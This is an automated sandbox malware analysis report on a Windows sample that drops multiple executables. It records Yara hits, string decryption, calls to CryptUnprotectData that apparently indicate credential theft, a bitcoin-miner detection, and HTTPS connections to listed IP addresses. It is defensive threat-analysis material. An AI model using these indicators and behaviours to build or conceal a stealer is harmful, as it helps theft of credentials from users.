Windows Analysis Report
dl7WL77rkA.exe

Machine Learning detection for dropped file

Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.2d80e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.2da0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.2e10e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.2e10e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.2cb0e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.2e80e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3216770112.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3183308151.0000000000843000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3298037878.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3398211956.00000000031C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3043788624.0000000000843000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3409633902.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3061309929.0000000000843000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3263335917.0000000000843000.00000040.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3250452098.00000000032C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3259586341.0000000000843000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VT4T5BrKWgz9d48cmEd8ePkZ.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sUyDoVTGsfEnMY0oeyexTBut.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VvPx7JMqkEvTJAQ2rPS2y2wf.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe PID: 7568, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\SNePs0JIjHDOAKzI11CQ043K.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\IiRP3mWif0xpaQsabblBwYAE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\IpW6W2Yjx6z6D3j66j3N2tH5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\H7TIhgIvG1Yhal1QnwrEdA0q.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\S5LR4MxNYkipKICUEWwDRrcX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\RLHqIpTNCBsmKjKBdfgpamFx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Jye7PnMsJdWwQaaabqxbHITx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\4xb6JU3I8UdzuT7ogqFnBL7Y.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: dl7WL77rkA.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: CtIvEWInDoW
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: AgEBOxw
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: ijklmnopqrs
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: /#%33@@@
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: @@@@<@@@
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: abcdefghijklmnopqrs
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: "&&""..""&&"">>""&&"".."ikSQWQSQ_QBEklmn^pqrBtuvFxyzL123H5679+/\|
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: %s\%V/yVs
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: %s\*.
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: }567y9n/S
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: ntTekeny
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: ging
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: PassMord0
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: J@@@`z`@J@@@J@@@
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: OPQRSTUVWXY
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: 456753+/---- '
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: '--- '
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: qRslaZ9Iw\|
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: HeapFree
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: GetLocaleInfoA
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: ntProcessId
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: wininet.dll
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: shlwapi.dll
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: shell32.dll
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: .dll
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: column_text
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: }67b)>4`,LXZu2L6qd
Source: 15.2.syncUpd.exe.400000.0.raw.unpack	String decryptor: login:

Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00401870 CryptStringToBinaryA,CryptStringToBinaryA,_malloc,CryptStringToBinaryA,CertCreateCertificateContext,CertOpenStore,CertAddCertificateContextToStore,GetLastError,CertGetCertificateContextProperty,CertGetCertificateContextProperty,_malloc,_memset,CertGetCertificateContextProperty,_memset,_memset,_memset,_sprintf,SHGetSpecialFolderPathA,_sprintf,CertCloseStore,CertFreeCertificateContext,	12_2_00401870
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00402C34 HeapAlloc,CryptStringToBinaryA,__FF_MSGBANNER,__NMSG_WRITE,HeapAlloc,	12_2_00402C34
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Code function: 12_2_00406739 CryptStringToBinaryA,GetLastError,___set_flsgetvalue,TlsGetValue,__calloc_crt,__decode_pointer,__initptd,GetCurrentThreadId,SetLastError,	12_2_00406739
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00406C10 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	15_2_00406C10
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004094A0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	15_2_004094A0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00409540 CryptUnprotectData,LocalAlloc,LocalFree,	15_2_00409540
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_004155A0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	15_2_004155A0
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_0040BF90 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	15_2_0040BF90
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_00905807 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	15_2_00905807
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008FC1F7 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	15_2_008FC1F7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F6E77 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	15_2_008F6E77
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F97A7 CryptUnprotectData,LocalAlloc,LocalFree,	15_2_008F97A7
Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Code function: 15_2_008F9707 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	15_2_008F9707

Bitcoin Miner

Detected unpacking (overwrites its own PE header)

Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.2d80e67.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.2da0e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.2e10e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.2e10e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.2cb0e67.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.2dc0e67.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.2e80e67.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.3216770112.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3183308151.0000000000843000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3298037878.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3398211956.00000000031C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3043788624.0000000000843000.00000040.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3409633902.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3061309929.0000000000843000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3263335917.0000000000843000.00000040.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3250452098.00000000032C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3259586341.0000000000843000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VT4T5BrKWgz9d48cmEd8ePkZ.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sUyDoVTGsfEnMY0oeyexTBut.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VvPx7JMqkEvTJAQ2rPS2y2wf.exe PID: 7392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe PID: 7568, type: MEMORYSTR

Compliance

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe	Unpacked PE file: 15.2.syncUpd.exe.400000.0.unpack
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Unpacked PE file: 16.2.VT4T5BrKWgz9d48cmEd8ePkZ.exe.400000.2.unpack
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Unpacked PE file: 17.2.sUyDoVTGsfEnMY0oeyexTBut.exe.400000.5.unpack
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Unpacked PE file: 18.2.VvPx7JMqkEvTJAQ2rPS2y2wf.exe.400000.5.unpack
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Unpacked PE file: 20.2.MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe.400000.2.unpack
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Unpacked PE file: 25.2.LP2uR8v5nKtflOO7HsEX74Am.exe.400000.1.unpack
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Unpacked PE file: 30.2.YfSmDepXBWKsGmamEEWNYwB5.exe.400000.6.unpack
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Unpacked PE file: 32.2.pxzTG78L668f3mDyeDkHXryr.exe.400000.6.unpack
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Unpacked PE file: 33.2.MK1r6sTJJ0KuvAGWdjimbW8H.exe.400000.5.unpack
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Unpacked PE file: 36.2.PM6qM9TthMxsL1RAWEhuUNLx.exe.400000.3.unpack

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown	HTTPS traffic detected: 140.82.112.4:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.100.78.158:443 -> 192.168.2.5:51394 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.100.78.158:443 -> 192.168.2.5:51964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.5:53550 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.54.158:443 -> 192.168.2.5:55130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.68.143:443 -> 192.168.2.5:55554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.169.89:443 -> 192.168.2.5:55562 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.5:55560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.219:443 -> 192.168.2.5:55569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.219:443 -> 192.168.2.5:55570 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.183:443 -> 192.168.2.5:55573 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.183:443 -> 192.168.2.5:55574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:55568 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.188.178:443 -> 192.168.2.5:55575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.142:443 -> 192.168.2.5:55572 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.142:443 -> 192.168.2.5:55571 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.110.211:443 -> 192.168.2.5:55580 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.110.211:443 -> 192.168.2.5:55581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.133:443 -> 192.168.2.5:55584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.177.133:443 -> 192.168.2.5:55583 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.234.57:443 -> 192.168.2.5:55582 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.71:443 -> 192.168.2.5:55587 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.71:443 -> 192.168.2.5:55586 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.168.159:443 -> 192.168.2.5:55617 version: TLS 1.2

Source: dl7WL77rkA.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Loader.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000C7A000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000003619000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000C7A000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003689000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003639000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000003529000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000C7A000.00000040.00000001.01000000.00000011.sdmp
